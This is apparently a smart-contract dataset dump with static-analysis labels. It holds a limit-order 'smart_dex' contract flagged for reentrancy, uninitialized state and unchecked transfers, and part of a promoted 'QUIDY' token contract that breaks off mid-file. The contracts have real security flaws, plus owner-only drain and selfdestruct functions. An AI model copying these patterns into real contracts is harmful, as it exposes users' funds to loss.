0746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220843a54b01f3ba27b4cde894bb87c960264d5909eb4019d0ec9330370ba2e4ef064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,419 |
0x3b5e4a0fb5d176b8c183fd9409b474de12ceaf79
|
/**
*Submitted for verification at Etherscan.io on 2022-02-26
*/
// SPDX-License-Identifier: Witness Protected
pragma solidity ^0.8.4;
interface ERC20 {
function totalSupply() external view returns (uint _totalSupply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
function decimals() external view returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface IUniswapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapRouter01 {
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapRouter02 is IUniswapRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Protected {
mapping (address => bool) is_auth;
function authorized(address addy) public view returns(bool) {
return is_auth[addy];
}
function set_authorized(address addy, bool booly) public onlyAuth {
is_auth[addy] = booly;
}
modifier onlyAuth() {
require( is_auth[msg.sender] || msg.sender==owner, "not owner");
_;
}
address owner;
modifier onlyOwner() {
require(msg.sender==owner, "not owner");
_;
}
bool locked;
modifier safe() {
require(!locked, "reentrant");
locked = true;
_;
locked = false;
}
receive() external payable {}
fallback() external payable {}
}
interface UniswapV2Pair {
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
}
interface AggregatorInterface {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
function latestRound() external view returns (uint256);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
event AnswerUpdated(int256 indexed current, uint256 indexed roundId, uint256 updatedAt);
event NewRound(uint256 indexed roundId, address indexed startedBy, uint256 startedAt);
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface
{
}
contract smart_dex is Protected {
////////////////// Basic definitions //////////////////
address middleware;
event open_position(address token, uint limit_price, uint qty, bytes32 direction, bool executed);
address public constant Dead = 0x000000000000000000000000000000000000dEaD;
IUniswapFactory factory;
IUniswapRouter02 router;
mapping(address => uint) order_cooldown;
uint cooldown_value;
address aggregator = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;
AggregatorV2V3Interface usd_price;
////////////////// Structures and data //////////////////
struct positions {
address token;
address actor;
uint qty;
uint price_limit;
bytes32 action;
bool active;
}
mapping(address => mapping(uint => positions)) actor_positions;
mapping(uint => address) position_owner;
mapping(address => uint[]) owned_positions;
uint last_position;
////////////////// Constructor //////////////////
constructor() {
owner = msg.sender;
router = IUniswapRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
factory = IUniswapFactory(router.factory());
usd_price = AggregatorV2V3Interface(aggregator);
}
////////////////// Settings //////////////////
function set_middleware(address addy) public onlyAuth {
middleware = addy;
}
modifier onlyMiddleware() {
require(msg.sender==middleware, "Unauthorized");
_;
}
////////////////// Public write functions //////////////////
function set_limit_buy(address token, uint limit_price, uint qty) payable public safe {
require(order_cooldown[msg.sender] < block.timestamp, "Sheesh, calm down");
uint required_price = get_price(token, qty);
uint fee = required_price/100;
required_price = (required_price) + (fee);
require(msg.value >= required_price);
set_position(token, limit_price, msg.value, "limit_buy", msg.sender);
order_cooldown[msg.sender] = block.timestamp + cooldown_value;
}
function set_limit_sell(address token, uint limit_price, uint qty) public safe {
require(order_cooldown[msg.sender] < block.timestamp, "Sheesh, calm down");
ERC20 coin = ERC20(token);
require(coin.balanceOf(msg.sender) >= qty, "Not enough tokens");
require(coin.allowance(msg.sender, address(this)) >= qty, "Not enough allowance");
coin.transferFrom(msg.sender, address(this), qty);
set_position(token, limit_price, qty, "limit_sell", msg.sender);
order_cooldown[msg.sender] = block.timestamp + cooldown_value;
}
function execute_buy(uint position) public onlyMiddleware {
address actor = position_owner[position];
address token = actor_positions[actor][position].token;
uint qty = actor_positions[actor][position].qty;
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = token;
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: qty}(0, path, actor, block.timestamp);
actor_positions[actor][position].active = false;
}
function execute_sell(uint position) public onlyMiddleware {
address actor = position_owner[position];
address token = actor_positions[actor][position].token;
uint qty = actor_positions[actor][position].qty;
address[] memory path = new address[](2);
path[0] = token;
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(qty, 0, path, actor, block.timestamp);
actor_positions[actor][position].active = false;
}
function unstuck_native() public onlyAuth{
(bool sent,) =msg.sender.call{value: (address(this).balance)}("");
require(sent);
}
function unstuck_tokens(address tknAddress) public onlyAuth {
ERC20 token = ERC20(tknAddress);
uint256 ourBalance = token.balanceOf(address(this));
require(ourBalance>0, "No tokens in our balance");
token.transfer(msg.sender, ourBalance);
}
function harakiri() public onlyAuth {
selfdestruct(payable(msg.sender));
}
////////////////// Private write functions //////////////////
function set_position(address token, uint limit_price, uint qty, bytes32 direction, address sender) private {
last_position += 1;
actor_positions[sender][last_position].token = token;
actor_positions[sender][last_position].actor = sender;
actor_positions[sender][last_position].action = "buy_limit";
actor_positions[sender][last_position].qty = qty;
actor_positions[sender][last_position].price_limit = limit_price;
actor_positions[sender][last_position].active = true;
owned_positions[sender].push(last_position);
position_owner[last_position] = sender;
emit open_position(token, limit_price, qty, direction, false);
}
////////////////// Public view functions //////////////////
// calculate price based on pair reserves (in ETH per 1 token)
function get_price(address tkn, uint amount) public view returns(uint)
{
address pair = factory.getPair(router.WETH(), tkn);
UniswapV2Pair pair_interface = UniswapV2Pair(pair);
(uint Res0, uint Res1,) = pair_interface.getReserves();
// decimals
uint res0 = Res0*(10**ERC20(tkn).decimals());
uint eth_answer = (amount*res0)/Res1;
return(eth_answer); // return amount of token0 needed to buy token1
}
function price_in_dollars(uint eth_answer) public view returns(uint) {
int current_usd = (usd_price.latestAnswer())/(10**8);
uint usd_answer = (uint(current_usd) * eth_answer);
return(usd_answer);
}
function get_positions(address actor) public view returns(uint[] memory) {
return owned_positions[actor];
}
function get_single_position(uint pos) public view returns(positions memory) {
address owner_of = position_owner[pos];
return actor_positions[owner_of][pos];
}
}
|
0x6080604052600436106100e05760003560e01c806362b2870911610084578063a5bbb94911610056578063a5bbb94914610366578063b91816111461037b578063cf5535a8146103c4578063fac1ba36146103e457005b806362b28709146102d8578063675aee66146102f85780637846c4f81461031857806382c4767b1461033857005b80632b6e9437116100bd5780632b6e9437146102635780632bfe874214610290578063428de125146102b05780635fb1850c146102c357005b806303f25a79146100e9578063232043871461011c578063261166be1461024357005b366100e757005b005b3480156100f557600080fd5b5061010961010436600461175a565b610404565b6040519081526020015b60405180910390f35b34801561012857600080fd5b506101e8610137366004611841565b6040805160c081018252600080825260208201819052918101829052606081018290526080810182905260a0810191909152506000818152600a60209081526040808320546001600160a01b0390811684526009835281842094845293825291829020825160c08101845281548516815260018201549094169184019190915260028101549183019190915260038101546060830152600481015460808301526005015460ff16151560a082015290565b6040516101139190600060c0820190506001600160a01b038084511683528060208501511660208401525060408301516040830152606083015160608301526080830151608083015260a0830151151560a083015292915050565b34801561024f57600080fd5b506100e761025e3660046116e0565b61068f565b34801561026f57600080fd5b5061028361027e3660046116e0565b61072e565b604051610113919061189e565b34801561029c57600080fd5b506100e76102ab366004611721565b61079a565b6100e76102be366004611786565b610825565b3480156102cf57600080fd5b506100e7610984565b3480156102e457600080fd5b506101096102f3366004611841565b6109e7565b34801561030457600080fd5b506100e7610313366004611841565b610a95565b34801561032457600080fd5b506100e7610333366004611841565b610ce8565b34801561034457600080fd5b5061034e61dead81565b6040516001600160a01b039091168152602001610113565b34801561037257600080fd5b506100e7610f2f565b34801561038757600080fd5b506103b46103963660046116e0565b6001600160a01b031660009081526020819052604090205460ff1690565b6040519015158152602001610113565b3480156103d057600080fd5b506100e76103df3660046116e0565b610fe7565b3480156103f057600080fd5b506100e76103ff366004611786565b6111cd565b60035460048054604080517fad5c4648000000000000000000000000000000000000000000000000000000008152905160009485946001600160a01b039182169463e6a439059492169263ad5c4648928083019260209291829003018186803b15801561047057600080fd5b505afa158015610484573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104a89190611704565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b039182166004820152908716602482015260440160206040518083038186803b15801561050757600080fd5b505afa15801561051b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053f9190611704565b90506000819050600080826001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561058257600080fd5b505afa158015610596573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ba91906117f1565b506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691506000876001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561061a57600080fd5b505afa15801561062e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065291906117d8565b61065d90600a611a0c565b6106679084611ab4565b9050600082610676838a611ab4565b61068091906119b5565b96505050505050505b92915050565b3360009081526020819052604090205460ff16806106b757506001546001600160a01b031633145b6106f45760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b60448201526064015b60405180910390fd5b600280547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6001600160a01b0381166000908152600b602090815260409182902080548351818402810184019094528084526060939283018282801561078e57602002820191906000526020600020905b81548152602001906001019080831161077a575b50505050509050919050565b3360009081526020819052604090205460ff16806107c257506001546001600160a01b031633145b6107fa5760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b60448201526064016106eb565b6001600160a01b03919091166000908152602081905260409020805460ff1916911515919091179055565b600154600160a01b900460ff161561087f5760405162461bcd60e51b815260206004820152600960248201527f7265656e7472616e74000000000000000000000000000000000000000000000060448201526064016106eb565b6001805460ff60a01b1916600160a01b1790553360009081526005602052604090205442116108f05760405162461bcd60e51b815260206004820152601160248201527f5368656573682c2063616c6d20646f776e00000000000000000000000000000060448201526064016106eb565b60006108fc8483610404565b9050600061090b6064836119b5565b90506109178183611953565b91508134101561092657600080fd5b6109538585347f6c696d69745f62757900000000000000000000000000000000000000000000003361155d565b6006546109609042611953565b3360009081526005602052604090205550506001805460ff60a01b19169055505050565b3360009081526020819052604090205460ff16806109ac57506001546001600160a01b031633145b6109e45760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b60448201526064016106eb565b33ff5b6000806305f5e100600860009054906101000a90046001600160a01b03166001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3d57600080fd5b505afa158015610a51573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7591906117d8565b610a7f919061196b565b90506000610a8d8483611ab4565b949350505050565b6002546001600160a01b03163314610aef5760405162461bcd60e51b815260206004820152600c60248201527f556e617574686f72697a6564000000000000000000000000000000000000000060448201526064016106eb565b6000818152600a60209081526040808320546001600160a01b0390811680855260098452828520868652845282852080546002918201548551838152606081018752939791909416959394909383019080368337505060048054604080517fad5c464800000000000000000000000000000000000000000000000000000000815290519495506001600160a01b039091169363ad5c4648935081830192602092829003018186803b158015610ba357600080fd5b505afa158015610bb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bdb9190611704565b81600081518110610bee57610bee611aff565b60200260200101906001600160a01b031690816001600160a01b0316815250508281600181518110610c2257610c22611aff565b6001600160a01b039283166020918202929092010152600480546040517fb6f9de9500000000000000000000000000000000000000000000000000000000815292169163b6f9de95918591610c809160009187918b914291016118e2565b6000604051808303818588803b158015610c9957600080fd5b505af1158015610cad573d6000803e3d6000fd5b5050506001600160a01b03909516600090815260096020908152604080832098835297905295909520600501805460ff191690555050505050565b6002546001600160a01b03163314610d425760405162461bcd60e51b815260206004820152600c60248201527f556e617574686f72697a6564000000000000000000000000000000000000000060448201526064016106eb565b6000818152600a60209081526040808320546001600160a01b03908116808552600984528285208686528452828520805460029182015485518381526060810187529397919094169593949093830190803683370190505090508281600081518110610db057610db0611aff565b60200260200101906001600160a01b031690816001600160a01b031681525050600460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e1e57600080fd5b505afa158015610e32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e569190611704565b81600181518110610e6957610e69611aff565b6001600160a01b039283166020918202929092010152600480546040517f791ac94700000000000000000000000000000000000000000000000000000000815292169163791ac94791610ec791869160009187918b91429101611917565b600060405180830381600087803b158015610ee157600080fd5b505af1158015610ef5573d6000803e3d6000fd5b5050506001600160a01b03909416600090815260096020908152604080832097835296905294909420600501805460ff1916905550505050565b3360009081526020819052604090205460ff1680610f5757506001546001600160a01b031633145b610f8f5760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b60448201526064016106eb565b604051600090339047908381818185875af1925050503d8060008114610fd1576040519150601f19603f3d011682016040523d82523d6000602084013e610fd6565b606091505b5050905080610fe457600080fd5b50565b3360009081526020819052604090205460ff168061100f57506001546001600160a01b031633145b6110475760405162461bcd60e51b81526020600482015260096024820152683737ba1037bbb732b960b91b60448201526064016106eb565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015281906000906001600160a01b038316906370a082319060240160206040518083038186803b1580156110a457600080fd5b505afa1580156110b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110dc91906117d8565b90506000811161112e5760405162461bcd60e51b815260206004820152601860248201527f4e6f20746f6b656e7320696e206f75722062616c616e6365000000000000000060448201526064016106eb565b6040517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018290526001600160a01b0383169063a9059cbb90604401602060405180830381600087803b15801561118f57600080fd5b505af11580156111a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c791906117bb565b50505050565b600154600160a01b900460ff16156112275760405162461bcd60e51b815260206004820152600960248201527f7265656e7472616e74000000000000000000000000000000000000000000000060448201526064016106eb565b6001805460ff60a01b1916600160a01b1790553360009081526005602052604090205442116112985760405162461bcd60e51b815260206004820152601160248201527f5368656573682c2063616c6d20646f776e00000000000000000000000000000060448201526064016106eb565b6040517f70a08231000000000000000000000000000000000000000000000000000000008152336004820152839082906001600160a01b038316906370a082319060240160206040518083038186803b1580156112f457600080fd5b505afa158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c91906117d8565b101561137a5760405162461bcd60e51b815260206004820152601160248201527f4e6f7420656e6f75676820746f6b656e7300000000000000000000000000000060448201526064016106eb565b6040517fdd62ed3e00000000000000000000000000000000000000000000000000000000815233600482015230602482015282906001600160a01b0383169063dd62ed3e9060440160206040518083038186803b1580156113da57600080fd5b505afa1580156113ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061141291906117d8565b10156114605760405162461bcd60e51b815260206004820152601460248201527f4e6f7420656e6f75676820616c6c6f77616e636500000000000000000000000060448201526064016106eb565b6040517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018390526001600160a01b038216906323b872dd90606401602060405180830381600087803b1580156114c757600080fd5b505af11580156114db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ff91906117bb565b5061152d8484847f6c696d69745f73656c6c000000000000000000000000000000000000000000003361155d565b60065461153a9042611953565b3360009081526005602052604090205550506001805460ff60a01b191690555050565b6001600c60008282546115709190611953565b90915550506001600160a01b038181166000818152600960209081526040808320600c805485529083528184208054968c167fffffffffffffffffffffffff000000000000000000000000000000000000000097881681179091558154855282852060019081018054891688179055825486528386207f6275795f6c696d69740000000000000000000000000000000000000000000000600490910155825486528386206002018b9055825486528386206003018c905582548652838620600501805460ff191682179055868652600b85528386208354815492830182559087528587209091015590548452600a835281842080549096169094179094558351928352820187905281830186905260608201859052608082015290517f5521bc357c5ccb4c30c0f2ca033b1ca4d90a86d8959f71fa292adc25c5617a4e9181900360a00190a15050505050565b80516dffffffffffffffffffffffffffff811681146116db57600080fd5b919050565b6000602082840312156116f257600080fd5b81356116fd81611b15565b9392505050565b60006020828403121561171657600080fd5b81516116fd81611b15565b6000806040838503121561173457600080fd5b823561173f81611b15565b9150602083013561174f81611b2a565b809150509250929050565b6000806040838503121561176d57600080fd5b823561177881611b15565b946020939093013593505050565b60008060006060848603121561179b57600080fd5b83356117a681611b15565b95602085013595506040909401359392505050565b6000602082840312156117cd57600080fd5b81516116fd81611b2a565b6000602082840312156117ea57600080fd5b5051919050565b60008060006060848603121561180657600080fd5b61180f846116bd565b925061181d602085016116bd565b9150604084015163ffffffff8116811461183657600080fd5b809150509250925092565b60006020828403121561185357600080fd5b5035919050565b600081518084526020808501945080840160005b838110156118935781516001600160a01b03168752958201959082019060010161186e565b509495945050505050565b6020808252825182820181905260009190848201906040850190845b818110156118d6578351835292840192918401916001016118ba565b50909695505050505050565b8481526080602082015260006118fb608083018661185a565b6001600160a01b03949094166040830152506060015292915050565b85815284602082015260a06040820152600061193660a083018661185a565b6001600160a01b0394909416606083015250608001529392505050565b6000821982111561196657611966611ad3565b500190565b60008261197a5761197a611ae9565b60001983147f8000000000000000000000000000000000000000000000000000000000000000831416156119b0576119b0611ad3565b500590565b6000826119c4576119c4611ae9565b500490565b600181815b80851115611a045781600019048211156119ea576119ea611ad3565b808516156119f757918102915b93841c93908002906119ce565b509250929050565b60006116fd8383600082611a2257506001610689565b81611a2f57506000610689565b8160018114611a455760028114611a4f57611a6b565b6001915050610689565b60ff841115611a6057611a60611ad3565b50506001821b610689565b5060208310610133831016604e8410600b8410161715611a8e575081810a610689565b611a9883836119c9565b8060001904821115611aac57611aac611ad3565b029392505050565b6000816000190483118215151615611ace57611ace611ad3565b500290565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114610fe457600080fd5b8015158114610fe457600080fdfea2646970667358221220a9448dcf341de304d193a857ef7e9b12656932c6c58e99d15349f7de872bd55264736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,420 |
0x39ad93281cad7f5414df5fe895f9e270651a1e9c
|
/**
*Submitted for verification at Etherscan.io on 2021-06-16
*/
/*
AHOY!
┏━━━┓╋╋╋╋╋┏┓
┃┏━┓┃╋╋╋╋╋┃┃
┃┃╋┃┣┓┏┳┳━┛┣┓╋┏┓
┃┃╋┃┃┃┃┣┫┏┓┃┃╋┃┃
┃┗━┛┃┗┛┃┃┗┛┃┗━┛┃
┗━━┓┣━━┻┻━━┻━┓┏┛
╋╋╋┗┛╋╋╋╋╋╋┏━┛┃
╋╋╋╋╋╋╋╋╋╋╋┗━━┛
https://quidy.net
TG: t.me/QuidyToken
✔️ No pre-sale
✔️ No team & marketing tokens
✔️ Locked Liquidity
✔️ Renounced ownership
✔️ Reflection rewards to holders & team
✔️ 1,000,000,000,000 Total Supply
✔️ 50% Burn
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract QUIDY is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "QUIDY.net";
string private constant _symbol = 'QUIDY';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 14;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
